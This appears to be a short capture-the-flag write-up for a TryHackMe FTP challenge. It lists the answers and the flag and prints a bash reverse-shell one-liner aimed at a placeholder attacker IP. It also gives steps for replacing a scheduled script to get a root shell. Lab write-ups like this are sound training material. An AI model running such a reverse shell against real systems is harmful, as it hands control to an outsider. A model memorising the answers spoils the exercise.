Anyone can be Santa!
Networking - FTP
Video
Resources
The standard for these two connections are the two ports:
Port 20 (Data)
Port 21 (Commands)
bash -i >& /dev/tcp/Your_TryHackMe_IP/4444 0>&1
Challenge
Name the directory on the FTP server that has data accessible by the "anonymous" user

public
What script gets executed within this directory?

backup.sh
What movie did Santa have on his Christmas shopping list?

The Polar Express
Re-upload this script to contain malicious data (just like we did in section 9.6. Output the contents of /root/flag.txt!
Note that the script that we have uploaded may take a minute to return a connection. If it doesn't after a couple of minutes, double-check that you have set up a Netcat listener on the device that you are working from, and have provided the TryHackMe IP of the device that you are connecting from.




THM{even_you_can_be_santa}
Last updated
Was this helpful?